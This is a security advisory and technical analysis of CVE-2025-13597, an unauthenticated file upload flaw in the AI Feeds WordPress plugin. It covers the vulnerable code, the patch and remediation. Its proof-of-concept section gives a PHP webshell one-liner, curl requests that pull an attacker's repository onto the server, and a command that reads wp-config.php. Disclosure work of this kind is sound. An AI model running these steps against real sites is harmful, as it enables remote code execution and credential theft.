CVE-2025-13597: Arbitrary File Upload in AI Feeds Plugin
Table of Contents
CVE-2025-13597 is a CVSS 9.8 Critical unauthenticated arbitrary file upload vulnerability in the AI Feeds WordPress plugin. In all versions up to and including 1.0.11, an unauthenticated attacker can send a single HTTP request to overwrite plugin files with arbitrary content from a GitHub repository they control, making remote code execution possible with no credentials required.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | AI Feeds |
| Plugin Slug | ai-feeds |
| CVE ID | CVE-2025-13597 |
| CVSS Score | 9.8 (Critical) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Vulnerability Type | Unauthenticated Arbitrary File Upload (Unrestricted Upload of File with Dangerous Type) |
| Affected Versions | <= 1.0.11 |
| Patched Version | 1.0.12 |
| Published | November 25, 2025 |
| Researcher | Ryan Kozak |
| Wordfence Advisory | Link |
Description
The AI Feeds plugin for WordPress is vulnerable to arbitrary file uploads due to a missing capability check in the actualizador_git.php file in all versions up to, and including, 1.0.11. This makes it possible for unauthenticated attackers to download arbitrary GitHub repositories and overwrite plugin files on the affected site’s server, which may make remote code execution possible.
Technical Analysis
Vulnerable Code Path
The root cause is a standalone PHP script placed directly in the plugin’s root directory:
File: actualizador_git.php (lines 1–181)
This file is not included or registered anywhere in the main plugin bootstrap (ai-feeds.php). It is a raw PHP file sitting inside wp-content/plugins/ai-feeds/, making it directly accessible over HTTP with no authentication whatsoever.
Step 1 — GET parameters control the operation (lines 14–17):
$OWNER = $_GET['owner'] ?? 'cibeles';
$REPO = $_GET['repo'] ?? 'svn_ai-feeds';
$REF = $_GET['ref'] ?? 'main';
$TOKEN = $_GET['token'] ?? 'PON_AQUI_TU_TOKEN_PAT';
All four parameters that control what repository is downloaded are attacker-controlled GET parameters. No nonce, no WordPress capability check, no IP restriction — nothing.
Step 2 — The only “check” is trivially bypassable (line 26):
if ($TOKEN === '' || $TOKEN === 'PON_AQUI_TU_TOKEN_PAT') {
http_response_code(400);
exit("Falta token\n");
}
This simply checks that the token is not empty and not the hardcoded placeholder string PON_AQUI_TU_TOKEN_PAT. An attacker supplies their own valid GitHub Personal Access Token (PAT) — which can be freely obtained — and this check passes.
Step 3 — Downloads an arbitrary GitHub repository as ZIP (lines 31, 140–142):
$apiUrl = "https://api.github.com/repos/{$OWNER}/{$REPO}/zipball/" . rawurlencode($REF);
// ...
curl_download($apiUrl, $zip, $TOKEN);
The script constructs a GitHub API URL from attacker-supplied parameters, then downloads the ZIP of the attacker’s repository using curl.
Step 4 — Deletes existing plugin files and overwrites them (lines 158–169):
// 1) Build manifest of paths to keep (mirror)
$keepSet = build_manifest($rootInsideZip);
foreach ($PRESERVE as $p) { $keepSet[trim($p,'/')] = true; }
// 2) Delete from CWD everything not in the repo
mirror_delete_extras($cwd, $keepSet, $PRESERVE);
// 3) Copy the repo into CWD
rrcopy_into($rootInsideZip, $cwd, $PRESERVE);
The script builds a manifest of all files in the downloaded repository. It then deletes every file in getcwd() (the plugin folder) that is not in the attacker’s repo, and copies the attacker’s files in. Because getcwd() resolves to wp-content/plugins/ai-feeds/, everything written there is web-accessible.
Root Cause
actualizador_git.php was a developer utility script — a GitHub mirror tool. The plugin author used it to push updates from a private GitHub repository directly into a live installation. The plugin author accidentally shipped it with the production build. Because it is a standalone PHP file in the plugin folder:
- It is directly accessible via HTTP — no WordPress bootstrap is required.
- It has no authentication or authorization check — no
is_user_logged_in(), nocurrent_user_can(), no nonce, no secret key. - All parameters that control what is downloaded and where files are written come from user-controlled GET input.
Failed Security Controls
WordPress’s built-in security model (nonces, capability checks) only protects code that runs through WordPress (i.e., via wp-load.php). This file bypasses WordPress entirely — it starts with declare(strict_types=1); and contains no require of wp-load.php or ABSPATH guard. Hitting the file URL directly executes plain PHP with full filesystem access.
The only control present — the token check on line 26 — is not a security boundary. It merely prevents accidental triggering with no token. An attacker simply supplies any valid GitHub PAT from their own account. That is enough to pass this check and gain full control of the operation.
Attack Impact
An unauthenticated attacker can:
- Overwrite any file in the plugin directory with arbitrary content, including PHP webshells
- Delete legitimate plugin files and replace them with malicious versions
- Achieve Remote Code Execution (RCE) by placing a PHP webshell in the plugin directory and accessing it via HTTP
- Pivot to full WordPress compromise — because the plugin directory is inside
wp-content, a placed webshell runs as the web server user and has access towp-config.php, the database, and the entire filesystem
Proof of Concept
Disclaimer: This PoC is provided for educational and defensive security research purposes only.
Prerequisites
- WordPress installation with the
ai-feedsplugin installed and activated - Plugin version <= 1.0.11
- The attacker controls a GitHub repository (public or private) containing a PHP webshell
- The attacker has a GitHub Personal Access Token (PAT) with read access to that repository
Step-by-Step Reproduction
Step 1: Create a malicious GitHub repository
Create a new GitHub repository (e.g., attacker-account/malicious-plugin) containing a PHP webshell file:
# Create a file named shell.php in the repository with this content:
# <?php if(isset($_GET['cmd'])){system($_GET['cmd']);}?>
Push it to GitHub. Create a PAT at https://github.com/settings/tokens with repo (or contents: read) scope.
Step 2: Trigger the vulnerable endpoint
Send a GET request directly to the actualizador_git.php file on the target site. No authentication, no cookies, no WordPress session required:
curl "https://target.com/wp-content/plugins/ai-feeds/actualizador_git.php\
?owner=attacker-account\
&repo=malicious-plugin\
&ref=main\
&token=github_pat_XXXXXXXXXXXXXXXXXXXX"
Expected server response (confirming success):
Descargando attacker-account/malicious-plugin@main ...
Eliminando entradas extra...
Copiando archivos...
OK. Mirror aplicado en: /var/www/html/wp-content/plugins/ai-feeds
Step 3: Execute the webshell
The attacker’s shell.php is now present in the plugin directory and is web-accessible:
curl "https://target.com/wp-content/plugins/ai-feeds/shell.php?cmd=id"
Expected output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Step 4: Escalate — read wp-config.php for database credentials
curl "https://target.com/wp-content/plugins/ai-feeds/shell.php\
?cmd=cat+/var/www/html/wp-config.php"
Expected Result
The attacker achieves unauthenticated Remote Code Execution as the web server user (www-data or equivalent). From there, they can read wp-config.php, dump the database (including all user password hashes), and create a new administrator account. The site is fully compromised.
Verification
After Step 2, verify the webshell is in place:
curl -I "https://target.com/wp-content/plugins/ai-feeds/shell.php"
# HTTP/1.1 200 OK → file exists and PHP is executing
After Step 3, a response containing uid= confirms code execution.
Patch Analysis
Changed Files
| File | Change |
|---|---|
actualizador_git.php | Renamed to actualizador_git.php.off |
ai-feeds.php | Version bumped to 1.0.12 |
includes/enqueue.php | Version strings updated to 1.0.12 |
readme.txt + locale readmes | Changelog entry added; stable tag bumped |
Fix Explanation
The fix is a rename: actualizador_git.php → actualizador_git.php.off.
Renaming the file to .off makes it non-executable by PHP (the web server will not parse it as PHP). The file is not deleted — it still exists in the plugin directory — but the .off extension means Apache/Nginx will not invoke the PHP engine for it.
The changelog entry across all locale readme files reads:
Removed internal Git update helper script that was accessible directly
The fix addresses the symptom (the file being PHP-executable) rather than the root cause (missing authentication). A complete fix is to delete the file entirely. If the functionality is still needed, it should only run from the WordPress admin context, protected by a current_user_can('manage_options') check and a nonce.
Code Diff (Key Changes)
diff --git a/actualizador_git.php b/actualizador_git.php.off
similarity index 100%
rename from actualizador_git.php
rename to actualizador_git.php.off
+= 1.0.12 =
+* Removed internal Git update helper script that was accessible directly
Timeline
| Date | Event |
|---|---|
| Before November 25, 2025 | Vulnerability discovered and reported by Ryan Kozak |
| November 25, 2025 | Publicly disclosed by Wordfence |
| November 25, 2025 | Patched version 1.0.12 released |
| December 22, 2025 | Plugin closed on WordPress.org plugin directory (Security Issue) |
Remediation
Update the ai-feeds plugin to version 1.0.12 or later.
Note: As of December 22, 2025, this plugin has been closed on WordPress.org due to this security issue. If you are currently running any version of this plugin, we strongly recommend you deactivate and remove it entirely until a re-reviewed version becomes available in the plugin directory.